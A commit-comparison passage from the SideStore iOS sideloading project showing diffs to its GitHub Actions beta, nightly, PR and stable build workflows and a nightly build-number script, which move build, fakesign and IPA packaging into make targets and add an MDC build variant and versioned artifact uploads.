Compare commits
132 Commits
103-add-ht
...
naturecode
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8cb5b3d47d | ||
|
|
3d9c5ad890 | ||
|
|
6f14b6b046 | ||
|
|
c3f5d9f218 | ||
|
|
91d3a528a0 | ||
|
|
0fc8f3d72e | ||
|
|
a959dd73bb | ||
|
|
3c0995b5fa | ||
|
|
34bbe93b3d | ||
|
|
ff24ea81c9 | ||
|
|
18d251c364 | ||
|
|
5864c283f6 | ||
|
|
be78fa4b91 | ||
|
|
2ff637f62e | ||
|
|
373a73c158 | ||
|
|
95e98a17bb | ||
|
|
8bd8ec8723 | ||
|
|
e7f766095a | ||
|
|
7e9aafe86e | ||
|
|
51f900a5bb | ||
|
|
02e63f2303 | ||
|
|
b45108e519 | ||
|
|
28ecca5ed0 | ||
|
|
742feed356 | ||
|
|
b8c12a1041 | ||
|
|
a6349198cf | ||
|
|
465c87d442 | ||
|
|
40c6d60138 | ||
|
|
7bb1c1cf05 | ||
|
|
175b5bec95 | ||
|
|
f69ad9830a | ||
|
|
3ee53e8c2b | ||
|
|
b3abf69a02 | ||
|
|
c530dc11ae | ||
|
|
93ae81159e | ||
|
|
6a942a3971 | ||
|
|
5853aaa778 | ||
|
|
54703ddca3 | ||
|
|
ce90ae4195 | ||
|
|
026392dbc7 | ||
|
|
d2c15b5acd | ||
|
|
2219035cd0 | ||
|
|
d368ddbd11 | ||
|
|
e5c6521a15 | ||
|
|
898a59768e | ||
|
|
a8917f095e | ||
|
|
3cab2e5d15 | ||
|
|
a85bc93142 | ||
|
|
c6c1f9faa0 | ||
|
|
0eea19c9cc | ||
|
|
e2c5267d3f | ||
|
|
5709229fdf | ||
|
|
e1607d2f61 | ||
|
|
637a0354c5 | ||
|
|
9c3461b0c6 | ||
|
|
e3103b3034 | ||
|
|
2db073d2c5 | ||
|
|
e06cca8224 | ||
|
|
3a7cd29b22 | ||
|
|
093e21799f | ||
|
|
ad98ce43a9 | ||
|
|
7f39d010b2 | ||
|
|
b6c9797104 | ||
|
|
ed2270ff46 | ||
|
|
45b6c3b338 | ||
|
|
84e2284f56 | ||
|
|
1c0d0be622 | ||
|
|
a9ce0f487d | ||
|
|
07533e0365 | ||
|
|
ee5ddd4264 | ||
|
|
f519d22d81 | ||
|
|
51ed87086a | ||
|
|
1ca3aa3cdb | ||
|
|
0178c63f6a | ||
|
|
8a97c409fa | ||
|
|
3dd0735305 | ||
|
|
536f775baa | ||
|
|
00f7a684a3 | ||
|
|
d79b166a6a | ||
|
|
b3d827f56a | ||
|
|
40bcef1dcb | ||
|
|
6146f1bdaa | ||
|
|
f5d82d9ef0 | ||
|
|
b2a29ae606 | ||
|
|
98ccba53a2 | ||
|
|
9bfda36647 | ||
|
|
5710cdf19c | ||
|
|
20cf54bfcd | ||
|
|
2ce639e750 | ||
|
|
b1ed413c4f | ||
|
|
b8c3060037 | ||
|
|
c3ea4940d7 | ||
|
|
40e1225b87 | ||
|
|
0c171122b2 | ||
|
|
6d0f4bb3da | ||
|
|
5e2cc6e20c | ||
|
|
99cb43bbea | ||
|
|
ca7d8277f7 | ||
|
|
337d26333e | ||
|
|
ebb64d255b | ||
|
|
7dcb199f68 | ||
|
|
4334e887de | ||
|
|
4e84dc4cc8 | ||
|
|
1a1ed072bf | ||
|
|
ae457f07c4 | ||
|
|
00095942c3 | ||
|
|
d1caa5fc21 | ||
|
|
813e2f97ac | ||
|
|
bcb5a90f5e | ||
|
|
020a1a3149 | ||
|
|
c4d649ec58 | ||
|
|
c02cf2c284 | ||
|
|
c30afd042e | ||
|
|
17640fe6cf | ||
|
|
2e4f6ee420 | ||
|
|
a3768d9221 | ||
|
|
80c3390363 | ||
|
|
a5e3869d8f | ||
|
|
aa7d7c2d02 | ||
|
|
015f205569 | ||
|
|
e59fb15926 | ||
|
|
173c585f2d | ||
|
|
6f8c27793e | ||
|
|
332b81c803 | ||
|
|
4b343b500d | ||
|
|
e87c537642 | ||
|
|
2e6300cce2 | ||
|
|
09514d15a6 | ||
|
|
0de23dcba0 | ||
|
|
bacb153151 | ||
|
|
a01aa299d8 | ||
|
|
44edbddbd8 |
165
.github/workflows/beta.yml
vendored
@@ -1,16 +1,12 @@
|
||||
name: Beta SideStore build
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- develop
|
||||
tags:
|
||||
- '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and upload SideStore Beta
|
||||
if: startsWith(github.event.head_commit.message, '[beta]')
|
||||
concurrency:
|
||||
group: ${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
@@ -25,103 +21,42 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Change default icon to beta icon
|
||||
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Add beta suffix to version
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-beta.${{ github.run_number }}/' -i '' Build.xcconfig
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -131,22 +66,24 @@ jobs:
|
||||
id: date_altstore
|
||||
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Upload to beta release
|
||||
uses: IsaacShelton/update-existing-release@v1.3.1
|
||||
- name: Upload to new beta release
|
||||
uses: softprops/action-gh-release@v1
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
release: "Beta"
|
||||
tag: "beta"
|
||||
name: ${{ steps.version.outputs.version }}
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
prerelease: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ beta build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
||||
|
||||
## Changelog
|
||||
|
||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal, but with a lower chance of bugs than if you used nightly builds. However, since these changes are newer and less tested, they still have a good chance of bugs, so **use at your own risk**.
|
||||
|
||||
If you want to be on the bleeding edge and use the latest development builds, you can look at [SideStore Nightly](https://github.com/${{ github.repository }}/releases/tag/nightly). **Please be aware that these builds have a much higher chance of bugs than beta or stable**.
|
||||
|
||||
If you use the `SideStore (Beta)` app, it will use the latest beta build (make sure to update it in "My Apps").
|
||||
- TODO
|
||||
|
||||
## Build Info
|
||||
|
||||
@@ -154,3 +91,33 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
28
.github/workflows/increase-nightly-build-num.sh
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Ensure we are in root directory
|
||||
cd "$(dirname "$0")/../.."
|
||||
|
||||
DATE=`date -u +'%Y.%m.%d'`
|
||||
BUILD_NUM=1
|
||||
|
||||
write() {
|
||||
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||
echo "$DATE,$BUILD_NUM" > .nightly-build-num
|
||||
}
|
||||
|
||||
if [ ! -f ".nightly-build-num" ]; then
|
||||
write
|
||||
exit 0
|
||||
fi
|
||||
|
||||
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
|
||||
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
|
||||
|
||||
if [[ "$DATE" != "$LAST_DATE" ]]; then
|
||||
write
|
||||
else
|
||||
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
|
||||
write
|
||||
fi
|
||||
|
||||
153
.github/workflows/nightly.yml
vendored
@@ -24,103 +24,51 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
- name: Cache .nightly-build-num
|
||||
uses: actions/cache@v3
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
path: .nightly-build-num
|
||||
key: nightly-build-num
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Increase nightly build number and set as version
|
||||
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
- name: Change default icon to nightly icon
|
||||
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
- name: Add nightly suffix to version
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-nightly.${{ github.run_number }}/' -i '' Build.xcconfig
|
||||
- name: Enable unstable features
|
||||
run: make enable_unstable
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -137,15 +85,15 @@ jobs:
|
||||
release: "Nightly"
|
||||
tag: "nightly"
|
||||
prerelease: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||
|
||||
Nightly builds are built from the most recent commit which means you'll be able to try out new features very early. However, since these changes are much newer and less tested, they have a much higher chance of bugs, so **use at your own risk**.
|
||||
Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
|
||||
|
||||
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases/tag/beta).
|
||||
|
||||
If you use the `SideStore (Nightly)` app, it will use the latest nightly build (make sure to update it in "My Apps").
|
||||
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
|
||||
|
||||
## Build Info
|
||||
|
||||
@@ -153,3 +101,36 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
- name: Reset cache for apps.sidestore.io/nightly
|
||||
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||
|
||||
130
.github/workflows/pr.yml
vendored
@@ -19,96 +19,74 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
|
||||
- name: Add PR suffix to version
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/$/-pr.${{ github.event.pull_request.number }}/' -i '' Build.xcconfig
|
||||
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short ${COMMIT:-HEAD})/" -i '' Build.xcconfig
|
||||
env:
|
||||
COMMIT: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
- name: Change default icon to alpha icon
|
||||
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
- name: Enable unstable features
|
||||
run: make enable_unstable
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload Artifact
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
138
.github/workflows/stable.yml
vendored
@@ -2,7 +2,7 @@ name: Stable SideStore build
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- '[0-9]+.[0-9]+.[0-9]+*'
|
||||
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -21,100 +21,39 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
